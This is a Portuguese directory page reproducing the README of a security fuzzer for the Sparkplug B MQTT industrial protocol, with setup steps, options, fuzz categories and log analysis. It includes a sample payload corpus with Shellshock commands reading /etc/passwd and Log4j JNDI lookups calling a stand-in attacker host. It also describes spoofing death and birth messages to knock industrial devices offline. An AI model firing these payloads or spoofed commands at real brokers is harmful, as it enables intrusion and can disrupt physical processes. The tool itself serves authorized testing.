Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
sparkplugFuzzer — Fuzzer for the Sparkplug B IIoT protocol | Kitploit
Ferramentas/GitHubGitHub/bishopfox/sparkplugfuzzer
Dynamic Analysis (Sandboxing)IoT SecurityVulnerability AnalysisSCADA/ICS SecurityFuzzingNetwork SecurityPenetration TestingAuthentication
GitHubbishopfox/sparkplugfuzzer

sparkplugFuzzer

Fuzzer for the Sparkplug B IIoT protocol

Ver Repositório
1há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Sparkplug B MQTT Security Fuzzer

Uma ferramenta abrangente de avaliação de segurança para testar implementações do protocolo MQTT Sparkplug B. O fuzzer testa sistematicamente todos os campos do protocolo em todos os 9 tipos de mensagem, descobre dispositivos ativos na rede e produz registos detalhados para análise.

Uso Responsável

Esta ferramenta envia mensagens MQTT malformadas, de injeção e que violam o protocolo para um broker alvo. Execute-a apenas contra sistemas que lhe pertencem ou para os quais tem autorização explícita por escrito para testar. Brokers Sparkplug B normalmente estão em ambientes OT/ICS onde cargas úteis inesperadas podem interromper processos físicos — assuma que cada alvo está adjacente à produção, salvo prova em contrário.

Se descobrir uma vulnerabilidade numa implementação do Sparkplug B usando esta ferramenta, siga a divulgação coordenada com o fornecedor afetado. Para reportar um problema de segurança nesta própria ferramenta, consulte SECURITY.md.

Índice

  • Visão Geral
  • Pré-requisitos
  • Instalação
  • Início Rápido
  • Utilização
    • Opções da Linha de Comandos
    • Categorias de Fuzzing
    • Exemplos
  • Como Funciona
    • Fluxo de Execução
    • Descoberta de Rede
    • Avaliação de Autenticação
    • Fuzzing Direcionado
  • Executar os Testes
  • Saída e Análise de Registos
    • Formato do Registo
    • Analisar Resultados
  • Cobertura do Protocolo
    • Tipos de Mensagem
    • Tipos de Dados
    • Cobertura de Campos
  • Arquitetura

Visão Geral

A especificação Sparkplug B define um espaço de nomes de tópicos e um formato de carga útil baseado em MQTT e Google Protocol Buffers para ambientes de IIoT (Internet Industrial das Coisas). Este fuzzer avalia a segurança e robustez de implementações do Sparkplug B através de:

  • Testar todos os 19 tipos de dados métricos com valores limite e condições de overflow
  • Injetar strings maliciosas (XSS, SQLi, format strings, path traversal, command injection)
  • Criar incompatibilidades de tipo entre tipos de dados declarados e os campos de valor reais do protobuf
  • Violar a ordenação da máquina de estados do protocolo (dados antes do birth, births duplicados, dados após death)
  • Corromper cargas úteis serializadas do protobuf ao nível binário
  • Falsificar certificados de birth/death para dispositivos descobertos na rede
  • Fuzzing de espaços de nomes de tópicos MQTT com caracteres especiais, variações de maiúsculas/minúsculas e violações estruturais

Pré-requisitos

  • Python 3.8+
  • MQTT Broker — o sistema alvo em teste (ex: Mosquitto, HiveMQ, EMQX, ou qualquer broker compatível com Sparkplug B)
  • Autorização — esta ferramenta destina-se apenas a testes de segurança autorizados

Instalação

Em sistemas Debian/Ubuntu/Kali modernos (sistemas PEP-668), --setup não pode executar pip install no Python do sistema — use um ambiente virtual ou pipx primeiro. O caminho recomendado:```bash python3 -m venv .venv source .venv/bin/activate python3 sparkplug-fuzzer.py --setup

root@kitploit:~
Ou execute via `pipx run` se preferir não gerenciar o venv manualmente. Em sistemas mais antigos sem a imposição do PEP-668, o comando `python3 sparkplug-fuzzer.py --setup` funciona diretamente.

O `--setup` irá:
1. Instalar dependências pip (`paho-mqtt`, `protobuf`)
2. Clonar uma tag fixada do repositório [Eclipse Tahu](https://github.com/eclipse/tahu) (veja `TAHU_REF` no script)
3. Copiar os módulos auxiliares `sparkplug_b.py` e `array_packer.py`
4. Compilar `sparkplug_b.proto` para bindings Python (usa `protoc` se disponível, caso contrário recorre ao `grpcio-tools`)
5. Limpar o clone do Tahu

Após a configuração, seu diretório deve conter:```
sparkplug-fuzzer.py     # The fuzzer
sparkplug_b.py          # Sparkplug B helper module (from Tahu)
array_packer.py         # Array packing helper (from Tahu)
sparkplug_b_pb2.py      # Generated protobuf bindings
requirements.txt        # Python dependencies
Configuração manual (if --setup doesn't work)```bash pip install -r requirements.txt git clone https://github.com/eclipse/tahu.git cp tahu/python/core/sparkplug_b.py . cp tahu/python/core/array_packer.py . protoc --python_out=. sparkplug_b.proto rm -rf tahu ```

Início Rápido```bash

python3 sparkplug-fuzzer.py --setup # first-time setup python3 sparkplug-fuzzer.py -H localhost -p 1883 -v # run fuzzer

root@kitploit:~
Isto irá:
1. Conectar-se ao broker em `localhost:1883`
2. Ouvir por 10 segundos para descobrir dispositivos Sparkplug existentes
3. Estabelecer o fuzzer como um nó/dispositivo Sparkplug
4. Executar todas as 12 categorias de fuzz (~635+ casos de teste)
5. Visar quaisquer dispositivos descobertos com mensagens falsificadas
6. Escrever resultados em `sparkplug_fuzz.jsonl`

## Uso

### Opções da Linha de Comando```
python3 sparkplug-fuzzer.py [OPTIONS]

Categorias de Fuzz

Exemplos

Executar todas as categorias com autenticação:```bash python3 sparkplug-fuzzer.py -H 10.0.1.30 -p 1883 -u admin -P secret -v

root@kitploit:~
**Passe credenciais sem expô-las em `ps`:**```bash
# Via environment
MQTT_USERNAME=admin MQTT_PASSWORD=secret python3 sparkplug-fuzzer.py -H broker.local

# Or read password from stdin (getpass — no echo)
python3 sparkplug-fuzzer.py -H broker.local -u admin -P -

Conectar via TLS:```bash

System trust store, default port 8883

python3 sparkplug-fuzzer.py -H broker.example.com --tls -v

Custom CA bundle

python3 sparkplug-fuzzer.py -H broker.example.com --tls --cafile ./ca.pem -v

root@kitploit:~
**Avaliação passiva de autenticação + sonda de escrita ativa:**```bash
python3 sparkplug-fuzzer.py -H 10.0.1.30 --probe-anon-write -v

Execute apenas categorias relacionadas a injeção:```bash python3 sparkplug-fuzzer.py -H broker.local -c string type_mismatch malformed

root@kitploit:~
**Descoberta estendida com ritmo lento (minimizar carga do broker):**```bash
python3 sparkplug-fuzzer.py -H 192.168.1.100 --discovery-time 60 --delay 0.5

Identidade personalizada de grupo/nó e arquivo de log:```bash python3 sparkplug-fuzzer.py -H broker.local
-g "Production Floor" -n "TestNode01" -d "TestDevice01"
-l production_fuzz_results.jsonl -vv

root@kitploit:~
**Monitore o tráfego do broker em um terminal separado:**```bash
mosquitto_sub -h <broker_host> -p 1883 -t 'spBv1.0/#' -F '%I %t %x'

Configuração air-gapped com um repositório Tahu pré-clonado:```bash git clone https://github.com/eclipse/tahu.git ~/tahu # on a connected box

transfer ~/tahu to the air-gapped target, then on the target:

python3 sparkplug-fuzzer.py --setup --tahu-path ~/tahu

root@kitploit:~
**Layout de saída por execução:**```bash
# Default — directory is auto-named under ./sparkplug-runs/
python3 sparkplug-fuzzer.py -H broker.local
# -> creates ./sparkplug-runs/2026-05-05_1830_broker.local/sparkplug_fuzz.jsonl

# Explicit directory:
python3 sparkplug-fuzzer.py -H broker.local --output-dir ./fuzz-runs/acme-2026Q2

Corpora de strings personalizadas

Os STRING_FUZZ_VALUES incorporados cobrem as categorias clássicas de injeção (strings vazias / enormes, bytes nulos, strings de formato, XSS, SQLi, path traversal, prototype pollution). Engajamentos reais frequentemente precisam de payloads de segunda ordem direcionados a quem consome os dados do broker a jusante — historiadores que canalizam nomes de métricas através de shell, hosts SCADA baseados em Java que alimentam valores no log4j, dashboards que renderizam nomes de tags em HTML, etc.

A flag --extra-string-payloads <FILE> anexa um corpus adicional aos incorporados. O formato é um payload por linha, UTF-8. Linhas com apenas espaços em branco são mantidas (muitas vezes intencionais em fuzzing); linhas totalmente em branco são descartadas. A flag adiciona à lista incorporada em vez de substituí-la, então a cobertura existente é preservada.```bash

corpus.txt — Shellshock + Log4j JNDI prefixes

cat > corpus.txt <<'EOF' () { :;}; /bin/cat /etc/passwd () { :; }; echo VULN ${jndi:ldap://attacker.example/x} ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.example/x} ${${lower:jndi}:ldap://attacker.example/x} EOF

python3 sparkplug-fuzzer.py -H broker.local --extra-string-payloads corpus.txt -v

root@kitploit:~
O fuzzer imprime `[+] Extra string payloads: loaded N from <path>` na inicialização, e cada payload é emitida através de todos os lugares que iteram `STRING_FUZZ_VALUES` — principalmente a categoria `string`, mas também os casos de tipos de string do gerador de incompatibilidade de tipos.

Limites fixos: 10 MB de tamanho de arquivo, 10.000 payloads. Ajuste `MAX_EXTRA_PAYLOADS_FILE_SIZE` / `MAX_EXTRA_PAYLOADS_COUNT` no topo do script se precisar de mais (e tiver orçamento de tempo de execução compatível).

## v0.2 release notes

- Sinalizador `--output-dir` mais padrão `./sparkplug-runs/<UTC-ts>_<host>/` criado automaticamente — cada execução cai em seu próprio diretório para que artefatos não colidam entre execuções.
- Sinalizador `--tahu-path` para `--setup` — aponta para um clone local de `eclipse/tahu` para ambientes de teste isolados onde `git clone` de saída é bloqueado. A fonte local nunca é excluída na limpeza.
- Carimbos de data/hora do console + JSONL forçados para UTC com sufixo `Z` explícito para que a correlação cruzada com logs do broker seja livre de aritmética de fuso horário.
- Logger `paho.mqtt` limitado a WARNING por padrão; visível em INFO com `-v`, DEBUG com `-vv`. A telemetria do cliente por pacote não afoga mais o sinal de fuzz.
- Test harness pytest em `tests/` — 23 testes cobrindo FuzzLogger, auxiliar de tópico, resolução de caminho de saída e validação de `--tahu-path`. Veja [Running the tests](#running-the-tests).

## Running the tests

O test harness cobre a superfície independente de rede (correção do logger, construtor de tópicos, resolução de caminho de saída, análise de `--tahu-path`) e é executado sem um broker, paho-mqtt ou protobuf instalados.```bash
pip install -r requirements-dev.txt
pytest tests/

Esperado: 23 passed. Caminhos dependentes da rede (protobuf do PayloadBuilder, fuzz publishers, ciclo de vida MQTT) são deliberadamente adiados para uma futura camada de teste de integração com um broker conteinerizado.

Como Funciona

Fluxo de Execução```

  1. CONNECT Connect to MQTT broker with NDEATH as last-will-and-testament Subscribe to spBv1.0/# and STATE/# for discovery |
  2. DISCOVER Passively listen for Sparkplug traffic (configurable duration) Build map of groups, nodes, devices, and their metric definitions |
  3. ESTABLISH Publish fuzzer's own NBIRTH + DBIRTH to register as a valid node |
  4. FUZZ Run selected categories sequentially Each category generator yields (topic, payload, description) tuples Every publish logged via centralized _publish() method Configurable delay between messages |
  5. TARGET For each discovered node/device: - Spoof NDEATH (kill node) - Spoof NBIRTH (impersonate node) - Spoof DDEATH/DBIRTH (kill/impersonate device) - Send DCMD/NCMD with fuzzed metric values |
  6. REPORT Print summary (total TX/RX counts by category) Close log file, disconnect
root@kitploit:~
### Descoberta de Rede

Durante a fase de descoberta, o fuzzer assina `spBv1.0/#` e escuta todo o tráfego Sparkplug. O componente `DeviceTracker` analisa as mensagens observadas para construir um mapa de rede ativo:

- Mensagens **NBIRTH** revelam nós de borda e suas definições de métricas (nome, alias, tipo de dado)
- Mensagens **DBIRTH** revelam dispositivos e seus esquemas de métricas
- Mensagens **NDEATH/DDEATH** rastreiam o estado do ciclo de vida do nó/dispositivo
- Mensagens **STATE** revelam aplicações host e seu status online/offline

Este mapa é usado na fase de fuzzing direcionado para enviar ataques contextualmente relevantes contra dispositivos reais com seus esquemas de métricas reais.

### Avaliação de Autenticação

Quando o fuzzer se conecta sem `-u/-P` (e `MQTT_USERNAME`/`MQTT_PASSWORD` não estão definidos), ele deriva uma postura de autenticação do broker apenas a partir da descoberta passiva. Isso produz um único evento `AUTH_ASSESSMENT` no log e um resumo impresso:

| Sinal | O que significa | Como é derivado |
|---|---|---|
| `anon_connect_accepted` | Broker aceitou CONNECT sem credenciais | O próprio CONNECT do fuzzer foi bem-sucedido |
| `anon_subscribe_accepted` | Broker encaminha `spBv1.0/#` / `STATE/#` para clientes anônimos | Pelo menos uma mensagem RX chegou durante a janela de escuta |
| `anon_publish_accepted` | Broker aceita PUBLISH de clientes anônimos | Definido apenas se `--probe-anon-write` for passado; sonda QoS=1 + espera por PUBACK |
| `unauth_endpoints` | Nós / dispositivos / aplicações host observáveis sem autenticação | Cada entidade no mapa de rede descoberto (autenticação nunca foi produzida) |

A sonda QoS=1 é opt-in porque ela passa de passiva para ativa. Com QoS=0 o broker descarta silenciosamente mensagens que negaria, então confirmar aceitação de escrita requer a leitura de um PUBACK.

MQTT/Sparkplug não possuem autenticação por endpoint — a autenticação é uma preocupação no nível do broker. Portanto, "endpoints observáveis sem autenticação" é relatado como uma lista de *alvos alcançáveis a custo zero*, em vez de uma propriedade dos próprios endpoints.

### Fuzzing Direcionado

Após o fuzzing sistemático, a ferramenta direciona cada dispositivo descoberto com:

1. **Avisos de falecimento falsificados** — publica NDEATH/DDEATH para enganar assinantes fazendo-os pensar que os dispositivos ficaram offline
2. **Certidões de nascimento falsificadas** — publica NBIRTH/DBIRTH para se passar por nós/dispositivos descobertos
3. **Injeção de comandos** — envia mensagens NCMD/DCMD com valores limite para cada métrica conhecida, testando se o alvo valida comandos de entrada
4. **Comandos de renascimento** — envia comando `Node Control/Rebirth` NCMD para forçar os dispositivos a republicarem seus nascimentos

## Saída e Análise de Log

### Formato do Log

O arquivo de log usa o formato JSON-lines (`.jsonl`) — um objeto JSON por linha, adequado para análise com `jq`, Python ou qualquer ferramenta compatível com JSON.

Payloads maiores que 64 KiB não são hex-inline; em vez disso, `payload_hex` carrega `sha256:<digest>+len=<n>` para que o log permaneça limitado para casos de fuzz muito grandes. `payload_len` está sempre presente.

**Registro TX** (mensagem de fuzz de saída):```json
{
  "ts": "2026-04-10T15:30:00.123456Z",
  "dir": "TX",
  "case_id": "BOUNDARY-0042",
  "category": "boundary",
  "topic": "spBv1.0/Sparkplug B Devices/DDATA/FuzzNode/FuzzDevice",
  "payload_hex": "0800120a0a06...",
  "payload_len": 28,
  "payload_decoded": {"timestamp": 1712345678000, "metrics": [{"name": "fuzz/boundary/Int32", "datatype": 3, "int_value": 2147483647}]},
  "description": "Boundary Int32 = 2147483647 (int_value)"
}

Registro RX (mensagem de entrada da rede):```json { "ts": "2026-04-10T15:30:01.456789Z", "dir": "RX", "topic": "spBv1.0/Production/NBIRTH/PLC01", "payload_hex": "0800120f...", "payload_len": 156, "payload_decoded": {"timestamp": 1712345679000, "metrics": [{"name": "Node Control/Rebirth", "datatype": 11, "boolean_value": false}]} }

root@kitploit:~
**Registro de evento** (evento do sistema):```json
{
  "ts": "2026-04-10T15:29:50.000000Z",
  "dir": "EVENT",
  "event": "DISCOVERY_COMPLETE",
  "details": {"groups": ["Production"], "node_count": 3, "device_count": 7, "targets": 10}
}

Analisando Resultados

Contar casos por categoria:```bash grep '"dir": "TX"' sparkplug_fuzz.jsonl | jq -r '.category' | sort | uniq -c | sort -rn

root@kitploit:~
**Extraia todos os casos de injeção de string:**```bash
jq 'select(.category == "string")' sparkplug_fuzz.jsonl

Listar todos os dispositivos descobertos:```bash jq 'select(.event == "DISCOVERY_COMPLETE")' sparkplug_fuzz.jsonl

root@kitploit:~
**Encontre casos que acionaram desconexões do broker:**```bash
jq 'select(.event == "UNEXPECTED_DISCONNECT" or .event == "RECONNECT_FAIL")' sparkplug_fuzz.jsonl

Extrair a avaliação de autenticação:```bash jq 'select(.event == "AUTH_ASSESSMENT")' sparkplug_fuzz.jsonl

root@kitploit:~
**Liste endpoints acessíveis sem autenticação:**```bash
jq -r 'select(.event == "AUTH_ASSESSMENT") | .details.unauth_endpoints[] | [.kind, .group, .node, .device, .host_id, .status] | @tsv' sparkplug_fuzz.jsonl

Obter contagem de TX ao longo do tempo (para análise de taxa):```bash grep '"dir": "TX"' sparkplug_fuzz.jsonl | jq -r '.ts[:19]' | uniq -c

root@kitploit:~
**Exportar todos os tópicos que foram publicados para:**```bash
jq -r 'select(.dir == "TX") | .topic' sparkplug_fuzz.jsonl | sort -u

Analisar com Python:```python import json

with open("sparkplug_fuzz.jsonl") as f: records = [json.loads(line) for line in f]

tx = [r for r in records if r["dir"] == "TX"] rx = [r for r in records if r["dir"] == "RX"] events = [r for r in records if r["dir"] == "EVENT"]

print(f"Total TX: {len(tx)}, RX: {len(rx)}, Events: {len(events)}")

Find any decode errors in received messages (possible crash indicators)

errors = [r for r in rx if "_decode_error" in str(r.get("payload_decoded", {}))] print(f"Decode errors in RX: {len(errors)}")

root@kitploit:~
## Cobertura de Protocolo

### Tipos de Mensagem

Todos os 9 tipos de mensagem Sparkplug B são testados:

| Tipo de Mensagem | Padrão de Tópico | Descrição | Uso do Fuzzer |
|---|---|---|---|
| NBIRTH | `spBv1.0/{group}/NBIRTH/{node}` | Certificado de nascimento do nó | Estabelece presença do fuzzer; falsificado para nós descobertos; testes de ordenação |
| NDEATH | `spBv1.0/{group}/NDEATH/{node}` | Notificação de morte do nó | Última vontade MQTT; falsificado para nós descobertos; testes de ordenação |
| DBIRTH | `spBv1.0/{group}/DBIRTH/{node}/{device}` | Certificado de nascimento do dispositivo | Estabelece dispositivo do fuzzer; falsificado para dispositivos descobertos; testes de ordenação |
| DDEATH | `spBv1.0/{group}/DDEATH/{node}/{device}` | Notificação de morte do dispositivo | Falsificado para dispositivos descobertos; testes de ordenação; testes de órfãos |
| NDATA | `spBv1.0/{group}/NDATA/{node}` | Atualização de dados do nó | Valores limite; números de sequência; testes de ordenação |
| DDATA | `spBv1.0/{group}/DDATA/{node}/{device}` | Atualização de dados do dispositivo | Meio principal para a maioria das categorias de fuzzing |
| NCMD | `spBv1.0/{group}/NCMD/{node}` | Comando do nó | Fuzzing direcionado (comandos de renascimento); testes de órfãos |
| DCMD | `spBv1.0/{group}/DCMD/{node}/{device}` | Comando do dispositivo | Fuzzing direcionado contra métricas de dispositivos descobertos; testes de órfãos |
| STATE | `STATE/{host_id}` | Estado da aplicação hospedeira (JSON) | Injeção de JSON malformado |

### Tipos de Dados

Todos os 19 tipos de dados métricos Sparkplug B são testados com valores limite específicos para cada tipo:

| Código | Tipo | Campo Protobuf | Valores Limite Testados |
|------|------|---------------|----------------------|
| 1 | Int8 | int_value | 0, -128, 127, 128 (estouro), -129 (subfluxo) |
| 2 | Int16 | int_value | 0, -32768, 32767, estouro/subfluxo |
| 3 | Int32 | int_value | 0, -2^31, 2^31-1, estouro/subfluxo |
| 4 | Int64 | long_value | 0, -2^63, 2^63-1, estouro |
| 5 | UInt8 | int_value | 0, 255, 256, -1 |
| 6 | UInt16 | int_value | 0, 65535, 65536, -1 |
| 7 | UInt32 | int_value | 0, 4294967295, -1 |
| 8 | UInt64 | long_value | 0, 2^64-1, -1 |
| 9 | Float | float_value | 0.0, -0.0, max, min, inf, -inf, NaN |
| 10 | Double | double_value | 0.0, -0.0, max, min, inf, -inf, NaN |
| 11 | Booleano | boolean_value | True, False; também testado com valores inteiros brutos (0, 1, 2, 255) |
| 12 | String | string_value | Vazio, longo (até 64KB), cargas de injeção |
| 13 | DateTime | long_value | Epoch, max, futuro/passado distante |
| 14 | Texto | string_value | Mesmas cargas de injeção que String |
| 15 | UUID | string_value | Vazio, válido, formato inválido, injeções |
| 16 | DataSet | dataset_value | Violações estruturais via categoria de dataset |
| 17 | Bytes | bytes_value | Vazio, bytes nulos, aleatório, grande |
| 18 | Arquivo | bytes_value | Vazio, bytes mágicos, grande |
| 19 | Template | template_value | Referências indefinidas, templates órfãos |

### Cobertura de Campos

O fuzzer cobre mais de 87 caminhos de campos protobuf únicos, incluindo:

- **Campos raiz do payload**: timestamp, seq, uuid, body, metrics
- **Campos de métrica**: name, alias, timestamp, datatype, is_historical, is_transient, is_null, metadata, properties, e todas as variantes oneof de value
- **Campos de MetaData**: is_multi_part, content_type, size, seq, file_name, file_type, md5, description
- **PropertySet/PropertyValue**: keys, values, type, is_null, propertyset_value recursivo, propertysets_value
- **DataSet**: num_of_columns, columns, types, rows, elements, todas as variantes de DataSetValue
- **Template**: version, template_ref, is_definition, métricas aninhadas, parameters

## Arquitetura

O fuzzer é um único arquivo Python organizado nestes componentes:```
sparkplug-fuzzer.py
    |
    +-- Constants / ALL_METRIC_TYPES / STRING_FUZZ_VALUES
    |       Type definitions and fuzz value tables
    |
    +-- FuzzLogger
    |       JSON-lines file logging + console output
    |       Protobuf payload decoding
    |
    +-- DeviceTracker
    |       Passive network discovery
    |       Tracks groups, nodes, devices, metrics
    |
    +-- PayloadBuilder
    |       Valid payload construction (sparkplug_b helpers)
    |       Raw payload construction (sparkplug_b_pb2 direct)
    |       Binary corruption (truncate, flip, append)
    |
    +-- 12 Fuzz Generators
    |       Each is a Python generator yielding (topic, bytes, desc)
    |       Covers boundary, string, type, seq, timestamp, alias,
    |       orphan, ordering, recursive, dataset, malformed, topic
    |
    +-- SparkplugFuzzer
    |       Orchestration: connect, discover, fuzz, target, report
    |       Centralized publish with logging
    |       Auto-reconnect on disconnect
    |
    +-- CLI (argparse) + main()
            Argument parsing and entry point

A construção de payload em dois níveis é uma decisão de design fundamental:

  • Alto nível (PayloadBuilder.node_birth(), etc.) utiliza funções auxiliares sparkplug_b para construir payloads válidos e bem-formados. Usado para estabelecer presença e falsificação direcionada.
  • Baixo nível (PayloadBuilder.raw_payload(), corrupt_bytes()) manipula diretamente objetos protobuf sparkplug_b_pb2 ou bytes brutos, ignorando a validação. Usado para payloads intencionalmente malformados que testam o tratamento de erros e casos extremos do parser.

Licença

Este projeto é licenciado sob a Licença MIT — veja LICENSE para o texto completo.

Terceiros

sparkplug-fuzzer.py --setup baixa os seguintes componentes do Eclipse Tahu no momento da instalação e os copia para o diretório de trabalho:

  • sparkplug_b.py — Módulo auxiliar do Sparkplug B
  • array_packer.py — Auxiliar de empacotamento de arrays
  • sparkplug_b.proto — Definição de Protocol Buffer (usado para gerar sparkplug_b_pb2.py)

O Eclipse Tahu é distribuído sob a Licença Apache, Versão 2.0. Nenhum dos arquivos fonte do Tahu é redistribuído neste repositório. Veja NOTICE para a atribuição completa.

Baixar ferramenta
OpçãoPadrãoDescrição
-H, --hostlocalhostNome do host ou IP do broker MQTT
-p, --port1883 (ou 8883 com --tls)Porta do broker MQTT
-u, --usernameNoneNome de usuário MQTT (também lê a variável de ambiente MQTT_USERNAME)
-P, --passwordNoneSenha MQTT (também lê MQTT_PASSWORD; passe - para ler do stdin sem eco)
--tlsoffConectar via TLS; a porta padrão se torna 8883 se -p não for definido
--cafileNonePacote CA para verificação do certificado do servidor TLS
--insecureoffPular verificação de hostname/certificado TLS (apenas para teste)
-g, --groupSparkplug B DevicesID do grupo Sparkplug sob o qual o fuzzer se registra
-n, --nodeFuzzNodeID do nó de borda Sparkplug para o fuzzer
-d, --deviceFuzzDeviceID do dispositivo Sparkplug para o fuzzer
-c, --categoriesallLista separada por espaços das categorias de fuzz a executar
--discovery-time10Segundos para escutar passivamente a descoberta de rede
--delay0.1Atraso em segundos entre mensagens de fuzz
--probe-anon-writeoffDurante a descoberta, enviar uma publicação QoS=1 para confirmar se o broker aceita PUBLISH não autenticado
-l, --logsparkplug_fuzz.jsonlNome do arquivo de log de saída (caminhos relativos ficam dentro de --output-dir; caminhos absolutos são mantidos como estão)
--output-dir./sparkplug-runs/<UTC-ts>_<host>/Diretório de saída por execução. Criado se ausente.
-v, --verbose0Aumentar a verbosidade do console (-v = info, -vv = debug). -vv também mostra pulos do gerador de fuzz, e o logger paho.mqtt com limitação sobe para INFO/DEBUG com verbosidade.
--setup—Instalar todas as dependências e sair
--tahu-path—Caminho para um clone local de eclipse/tahu (ou seu diretório python/core). Usado por --setup em ambientes sem rede em vez de git clone.
--extra-string-payloads—Caminho para um arquivo de payloads adicionais de injeção de string (um por linha, UTF-8). Anexado à STRING_FUZZ_VALUES incorporada; não a substitui. Máx. 10 MB / 10.000 payloads. Veja Corpora de string personalizados.
CategoriaDescriçãoCasos Aprox.
boundaryMín/máx/estouro para todos os 19 tipos de dados numéricos, is_null com valores, combinações de flags~200
stringPayloads de injeção (XSS, SQLi, strings de formato, travessia de caminho, injeção de comando, bytes nulos) em campos String, Text, UUID, MetaData e mensagens STATE~100
type_mismatchTipo de dado declarado vs campo de valor protobuf errado, códigos de tipo inválidos, múltiplos campos oneof~150
sequenceLacunas de sequência, duplicatas, ordem inversa, reinicialização, incompatibilidade bdSeq entre NBIRTH/NDEATH~20
timestampZero, uint64 máximo, futuro/passado distante, inconsistência de timestamp entre métrica e payload, extremos de DateTime~15
aliasAliases duplicados para métricas diferentes, valores de alias extremos, aliases não definidos em mensagens de dados~15
orphanDados/comandos direcionados a dispositivos, nós, grupos inexistentes; referências de template indefinidas~20
orderingViolações de estado do protocolo: dados antes do birth, births duplicados, dados após death, ordem de birth errada~15
recursiveCadeias aninhadas de PropertySet (profundidade 1-100), incompatibilidade de comprimento chave/valor, variações de PropertySetList~15
datasetIncompatibilidade de contagem de colunas, incompatibilidade de elementos de linha, violações de tipo, conjuntos de dados vazios/enormes, caracteres especiais em nomes de colunas~25
malformedCorrupção de protobuf binário: truncamento, inversão de bits, bytes aleatórios, varints excessivamente longos, classes de mensagem erradas~30
topicVariações de maiúsculas/minúsculas, versões erradas, barras extras/faltando, caracteres especiais, curingas em strings de tópico~30